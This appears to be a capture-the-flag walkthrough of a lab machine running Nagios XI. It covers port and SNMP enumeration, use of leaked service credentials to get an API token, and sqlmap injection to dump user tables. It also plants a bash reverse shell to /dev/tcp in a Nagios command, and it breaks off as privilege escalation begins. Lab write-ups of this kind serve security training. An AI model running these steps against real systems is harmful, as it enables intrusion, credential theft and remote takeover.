This is a Debian machine owned by an IT team that runs a Nagios application used for network monitoring purposes. SNMP is also running on the host for maintenance purposes, and the public tree leaks credentials for the Nagios core. These credentials can be used to get an authentication token using the API which will be subsequently used to exploit an SQLi vulnerability affecting the installed Nagios version. SQLi allows dumping the database and retrieve the admin API key that we use to create our own admin user and get the user flag. For escalation, we abuse a writable binary found in the file system which run as root.
> nmap $target -p- -T4 -Pn --open --reason
Nmap scan report for 10.10.11.248
Host is up, received user-set (0.057s latency).
Not shown: 63049 closed tcp ports (conn-refused), 2481 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
389/tcp open ldap syn-ack
443/tcp open https syn-ack
5667/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 33.02 seconds
Enumerate the open ports.
> nmap $target -p22,80,389,443,5667 -sV -sC -Pn -vv
Nmap scan report for 10.10.11.248
Host is up, received user-set (0.042s latency).
Scanned at 2024-01-13 15:54:58 EST for 18s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/xFgJTbVC36GNHaE0GG4n/bWZGaD2aE7lsFUvXVdbINrl0qzBPVCMuOE1HNf0LHi09obr2Upt9VURzpYdrQp/7SX2NDet9pb+UQnB1IgjRSxoIxjsOX756a7nzi71tdcR3I0sALQ4ay5I5GO4TvaVq+o8D01v94B0Qm47LVk7J3mN4wFR17lYcCnm0kwxNBsKsAgZVETxGtPgTP6hbauEk/SKGA5GASdWHvbVhRHgmBz2l7oPrTot5e+4m8A7/5qej2y5PZ9Hq/2yOldrNpS77ID689h2fcOLt4fZMUbxuDzQIqGsFLPhmJn5SUCG9aNrWcjZwSL2LtLUCRt6PbW39UAfGf47XWiSs/qTWwW/yw73S8n5oU5rBqH/peFIpQDh2iSmIhbDq36FPv5a2Qi8HyY6ApTAMFhwQE6MnxpysKLt/xEGSDUBXh+4PwnR0sXkxgnL8QtLXKC2YBY04jGG0DXGXxh3xEZ3vmPV961dcsNd6Up8mmSC43g5gj2ML/E=
| 256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbeArqg4dgxZEFQzd3zpod1RYGUH6Jfz6tcQjHsVTvRNnUzqx5nc7gK2kUUo1HxbEAH+cPziFjNJc6q7vvpzt4=
| 256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5o+WJqnyLpmJtLyPL+tEUTFbjMZkx3jUUFqejioAj7
80/tcp open http syn-ack Apache httpd 2.4.56
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
389/tcp open ldap syn-ack OpenLDAP 2.2.X - 2.3.X
443/tcp filtered https no-response
5667/tcp open tcpwrapped syn-ack
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 18.94 seconds
Enumerating the web server with Firefox, we find out a Nagios Xi login portal running at https://nagios.monitored.htb/nagiosxi. Nagios is an IT tool dedicated to monitor infrastructure components such as applications, OSes, networks and system metrics.
With this, we can consider the web enumeration over. Now we'll continue enumerating LDAP.
> nmap $target -p389 -script discovery
Pre-scan script results:
|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.043s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=monitored,dc=htb
| dn: dc=monitored,dc=htb
| objectClass: top
| objectClass: dcObject
| objectClass: organization
| o: monitored.htb
|_ dc: monitored
| ldap-rootdse:
| LDAP Results
| <ROOT>
| namingContexts: dc=monitored,dc=htb
| supportedControl: 2.16.840.1.113730.3.4.18
| supportedControl: 2.16.840.1.113730.3.4.2
| supportedControl: 1.3.6.1.4.1.4203.1.10.1
| supportedControl: 1.3.6.1.1.22
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.826.0.1.3344810.2.3
| supportedControl: 1.3.6.1.1.13.2
| supportedControl: 1.3.6.1.1.13.1
| supportedControl: 1.3.6.1.1.12
| supportedExtension: 1.3.6.1.4.1.4203.1.11.1
| supportedExtension: 1.3.6.1.4.1.4203.1.11.3
| supportedExtension: 1.3.6.1.1.8
| supportedLDAPVersion: 3
| supportedSASLMechanisms: DIGEST-MD5
| supportedSASLMechanisms: NTLM
| supportedSASLMechanisms: CRAM-MD5
|_ subschemaSubentry: cn=Subschema
Host script results:
|_fcrdns: FAIL (No PTR record)
| dns-brute:
|_ DNS Brute-force hostnames: No results.
Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
It seems SNMP is running in the host, we can confirm it with an UDP scan on port 161.
> sudo nmap $target -sU -p161 -sC -sV -vv
[sudo] password for kali:
Scanning monitored.htb (10.10.11.248) [1 port]
Discovered open port 161/udp on 10.10.11.248
Nmap scan report for monitored.htb (10.10.11.248)
Host is up, received echo-reply ttl 63 (0.041s latency).
Scanned at 2024-01-14 11:22:40 EST for 10s
Bug in snmp-win32-software: no string output.
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-interfaces:
| lo
| IP address: 127.0.0.1 Netmask: 255.0.0.0
| Type: softwareLoopback Speed: 10 Mbps
| Status: up
| Traffic stats: 2.72 Mb sent, 2.72 Mb received
| VMware VMXNET3 Ethernet Controller
| IP address: 10.10.11.248 Netmask: 255.255.254.0
| MAC address: 005056b97a60 (VMware)
| Type: ethernetCsmacd Speed: 4 Gbps
| Status: up
|_ Traffic stats: 1.03 Gb sent, 390.45 Mb received
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 6f3fa7421af94c6500000000
| snmpEngineBoots: 35
|_ snmpEngineTime: 1h56m12s
| snmp-sysdescr: Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64
|_ System uptime: 1h56m12.41s (697241 timeticks)
| snmp-netstat:
| TCP 0.0.0.0:22 0.0.0.0:0
| TCP 0.0.0.0:389 0.0.0.0:0
| TCP 10.10.11.248:389 10.10.14.136:41582
| TCP 10.10.11.248:43196 10.10.16.86:4444
| TCP 10.10.11.248:46582 10.10.15.5:1234
| TCP 10.10.11.248:54618 10.10.16.86:5555
| TCP 127.0.0.1:25 0.0.0.0:0
| TCP 127.0.0.1:3306 0.0.0.0:0
| TCP 127.0.0.1:5432 0.0.0.0:0
| TCP 127.0.0.1:7878 0.0.0.0:0
| TCP 127.0.0.1:47960 127.0.1.1:80
| TCP 127.0.0.1:47968 127.0.1.1:80
| UDP 0.0.0.0:68 *:*
| UDP 0.0.0.0:123 *:*
| UDP 0.0.0.0:161 *:*
| UDP 0.0.0.0:162 *:*
| UDP 10.10.11.248:123 *:*
|_ UDP 127.0.0.1:123 *:*
Service Info: Host: monitored
Nmap done: 1 IP address (1 host up) scanned in 10.85 seconds
Raw packets sent: 6 (301B) | Rcvd: 2 (168B)
Best way to continue enumerating the public SNMP tree is to use the snmpwalk tool. The output provided is very large and supplies huge amount of information, among other, a list of running processes.
If we remember, we have already found credentials svc:XjH7VCehowpR1xZB. The credential do not work in Nagios Xi portal https://nagios.monitored.htb/nagiosxi.login.php (an "User disabled" error is returned).
The following command performs the authentication and a token is received.
> curl -k -L -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate" -d "username=svc&password=XjH7VCehowpR1xZB"
{"username":"svc","user_id":"2","auth_token":"7f3dfb4cf7830c3895d701817697b39c214237a5","valid_min":5,"valid_until":"Sun, 14 Jan 2024 09:49:36 -0500"}
In summary, although the svc account is disabled in the web login, it seems the API is still supplying tokens for this account when queried with curl. We can take advantage of this now and launch the SQLi attack with sqlmap and passing the token as argument.
> sqlmap --batch --dbms mysql --level 3 --risk 3 -p id -u "http://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?id=1&token=a150999b9c2b5ae2bb6c7c38b7b7c48e854838fe"
You have to patiently dump the databases and tables until you find the right one. In the process the token may expire so you may need to request a new one. Eventually, you end up finding an API key for user admin on the nagiosxi database and xi_users table.
> sqlmap --batch --dbms mysql --level 3 --risk 3 -p id -D nagiosxi -T xi_users –dump -u "http://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?id=1&token=a150999b9c2b5ae2bb6c7c38b7b7c48e854838fe"
We can use this API key to add a new admin user. In this exploit https://www.exploit-db.com/exploits/44560 I found out the API endpoint and the parameters to do so.
Tips: make sure an user_id is received, if null is received your user has not been correctly created and you won't be able to use it. If that's the case, try changing paramenters; for example, in my case I found out the email had to finish in @localhost for the user to be correctly created.
Now you can login into the Nagios Xi login site with your new admin account.
In the dashboard, navigate to Configure (top menu) -> Advanced configuration -> Commands -> Add new. Alternatively, you can edit an already existing command. In the command line field type a command to send a reverse shell to your attacker machine.
> bash -c 'bash -i >& /dev/tcp/<your ip here>/1919 0>&1'
Click on "Apply Changes" to save the command. Note: I constantly received error when trying to apply changes; however, after checking the history, I found out that as long as the command.cfg file is correctly saved, everything will be ok.
To issue the command navigate to Monitoring -> Hosts -> Run check command. Start a listener and launch the command, a reverse shell is received, and you can get the user flag.
It seems the user can start/stop services nagios and npcd as root without supplying a password. Enumerate the binaries related to the nagios and npcd services.
